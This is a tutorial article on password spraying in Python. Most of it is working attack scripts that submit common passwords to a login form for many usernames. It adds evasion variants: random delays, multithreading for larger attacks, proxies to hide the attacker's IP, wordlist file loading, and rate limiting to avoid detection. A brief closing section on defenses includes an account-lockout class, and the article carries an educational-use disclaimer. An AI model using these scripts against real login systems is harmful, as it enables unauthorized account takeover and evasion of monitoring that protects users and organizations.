Password Spraying Attacks in Python
{{callout type=“warning”}} This article is for educational purposes only. Unauthorized password spraying attacks are illegal and unethical. Always obtain proper authorization before testing security measures. {{/callout}}
What is Password Spraying?
Password spraying is a type of brute-force attack where an attacker attempts to access a large number of accounts using a small set of common passwords. Unlike traditional brute-force attacks that try many passwords against a single account, password spraying tries a few passwords against many accounts to avoid account lockouts.
graph TD A[Attacker] -->|Uses| B[Common Passwords] B -->|Attempts on| C[Multiple Accounts] C -->|To Avoid| D[Account Lockouts]
Why is Password Spraying Effective?
- Avoids account lockouts
- Exploits common password practices
- Can be automated easily
The effectiveness of password spraying can be represented mathematically:
Let $P(success)$ be the probability of a successful login, $n$ be the number of accounts, and $p$ be the probability that any given account uses a common password.
Then, $P(success) = 1 - (1-p)^n$
As $n$ increases, $P(success)$ approaches 1, even for small values of $p$.
Implementing Password Spraying in Python
Let’s explore how to implement a basic password spraying attack using Python, with various examples and use cases.
Basic Implementation
import requests
def password_spray(usernames, passwords, url):
for username in usernames:
for password in passwords:
payload = {'username': username, 'password': password}
response = requests.post(url, data=payload)
if 'Login successful' in response.text:
print(f"Success: {username}:{password}")
else:
print(f"Failed: {username}:{password}")
# Example usage
usernames = ['admin', 'user1', 'user2']
passwords = ['password123', 'qwerty', '123456']
url = 'http://example.com/login'
password_spray(usernames, passwords, url)
This basic implementation loops through a list of usernames and passwords, attempting to log in to a specified URL.
Adding Delays to Avoid Detection
To make the attack less detectable, we can add delays between attempts:
import time
import random
import requests
def password_spray_with_delay(usernames, passwords, url):
for username in usernames:
for password in passwords:
payload = {'username': username, 'password': password}
response = requests.post(url, data=payload)
if 'Login successful' in response.text:
print(f"Success: {username}:{password}")
else:
print(f"Failed: {username}:{password}")
# Add a random delay between 1 and 5 seconds
time.sleep(random.uniform(1, 5))
# Example usage
usernames = ['admin', 'user1', 'user2']
passwords = ['password123', 'qwerty', '123456']
url = 'http://example.com/login'
password_spray_with_delay(usernames, passwords, url)
Using Multithreading for Faster Execution
For larger-scale attacks, we can use multithreading to speed up the process:
import concurrent.futures
import requests
def try_login(username, password, url):
payload = {'username': username, 'password': password}
response = requests.post(url, data=payload)
if 'Login successful' in response.text:
return f"Success: {username}:{password}"
return f"Failed: {username}:{password}"
def password_spray_threaded(usernames, passwords, url, max_workers=10):
with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = []
for username in usernames:
for password in passwords:
futures.append(executor.submit(try_login, username, password, url))
for future in concurrent.futures.as_completed(futures):
print(future.result())
# Example usage
usernames = ['admin', 'user1', 'user2', 'user3', 'user4']
passwords = ['password123', 'qwerty', '123456', 'admin123', 'letmein']
url = 'http://example.com/login'
password_spray_threaded(usernames, passwords, url)
Advanced Techniques
Using a Proxy to Hide IP
To avoid IP-based blocking, we can use a proxy:
import requests
proxies = {
'http': 'http://10.10.1.10:3128',
'https': 'http://10.10.1.10:1080',
}
def password_spray_with_proxy(usernames, passwords, url):
for username in usernames:
for password in passwords:
payload = {'username': username, 'password': password}
try:
response = requests.post(url, data=payload, proxies=proxies)
if 'Login successful' in response.text:
print(f"Success: {username}:{password}")
else:
print(f"Failed: {username}:{password}")
except requests.exceptions.ProxyError:
print("Proxy error, skipping attempt")
# Example usage
usernames = ['admin', 'user1', 'user2']
passwords = ['password123', 'qwerty', '123456']
url = 'http://example.com/login'
password_spray_with_proxy(usernames, passwords, url)
Reading Usernames and Passwords from Files
For larger lists, it’s more efficient to read from files:
import requests
def read_file(filename):
with open(filename, 'r') as f:
return [line.strip() for line in f]
def password_spray_from_files(username_file, password_file, url):
usernames = read_file(username_file)
passwords = read_file(password_file)
for username in usernames:
for password in passwords:
payload = {'username': username, 'password': password}
response = requests.post(url, data=payload)
if 'Login successful' in response.text:
print(f"Success: {username}:{password}")
else:
print(f"Failed: {username}:{password}")
# Example usage
password_spray_from_files('usernames.txt', 'passwords.txt', 'http://example.com/login')
Implementing Rate Limiting
To avoid detection and overloading the target server, we can implement rate limiting:
import time
import requests
class RateLimiter:
def __init__(self, max_calls, time_frame):
self.max_calls = max_calls
self.time_frame = time_frame
self.calls = []
def __call__(self, func):
def wrapper(*args, **kwargs):
now = time.time()
self.calls = [call for call in self.calls if call > now - self.time_frame]
if len(self.calls) >= self.max_calls:
time.sleep(self.time_frame - (now - self.calls[0]))
self.calls.append(now)
return func(*args, **kwargs)
return wrapper
@RateLimiter(max_calls=10, time_frame=60) # 10 calls per minute
def try_login(username, password, url):
payload = {'username': username, 'password': password}
response = requests.post(url, data=payload)
if 'Login successful' in response.text:
return f"Success: {username}:{password}"
return f"Failed: {username}:{password}"
def password_spray_rate_limited(usernames, passwords, url):
for username in usernames:
for password in passwords:
result = try_login(username, password, url)
print(result)
# Example usage
usernames = ['admin', 'user1', 'user2']
passwords = ['password123', 'qwerty', '123456']
url = 'http://example.com/login'
password_spray_rate_limited(usernames, passwords, url)
Defending Against Password Spraying
To protect against password spraying attacks:
- Implement multi-factor authentication
- Use strong password policies
- Monitor for suspicious login attempts
- Implement account lockouts after a certain number of failed attempts
Here’s a simple example of how to implement a basic account lockout mechanism:
import time
class AccountLockout:
def __init__(self, max_attempts, lockout_time):
self.max_attempts = max_attempts
self.lockout_time = lockout_time
self.attempts = {}
def check_lockout(self, username):
if username in self.attempts:
attempts, timestamp = self.attempts[username]
if attempts >= self.max_attempts:
if time.time() - timestamp < self.lockout_time:
return True
else:
del self.attempts[username]
return False
def record_attempt(self, username):
if username not in self.attempts:
self.attempts[username] = [1, time.time()]
else:
attempts, _ = self.attempts[username]
self.attempts[username] = [attempts + 1, time.time()]
# Example usage
lockout = AccountLockout(max_attempts=3, lockout_time=300) # 3 attempts, 5 minutes lockout
def login(username, password):
if lockout.check_lockout(username):
print(f"Account {username} is locked out. Try again later.")
return False
# Perform actual login logic here
# For demonstration, we'll just check if the password is "password123"
if password == "password123":
print(f"Login successful for {username}")
return True
else:
lockout.record_attempt(username)
print(f"Login failed for {username}")
return False
# Test the lockout mechanism
for _ in range(4):
login("testuser", "wrongpassword")
time.sleep(1)
login("testuser", "password123") # This should be locked out
Conclusion
Password spraying is a powerful technique that exploits common password practices. While it can be an effective tool for security testing, it’s crucial to use such techniques responsibly and ethically. Always ensure you have proper authorization before conducting any security tests.
Further Reading
Remember, the goal of understanding these techniques is to build better defenses, not to exploit vulnerabilities unethically.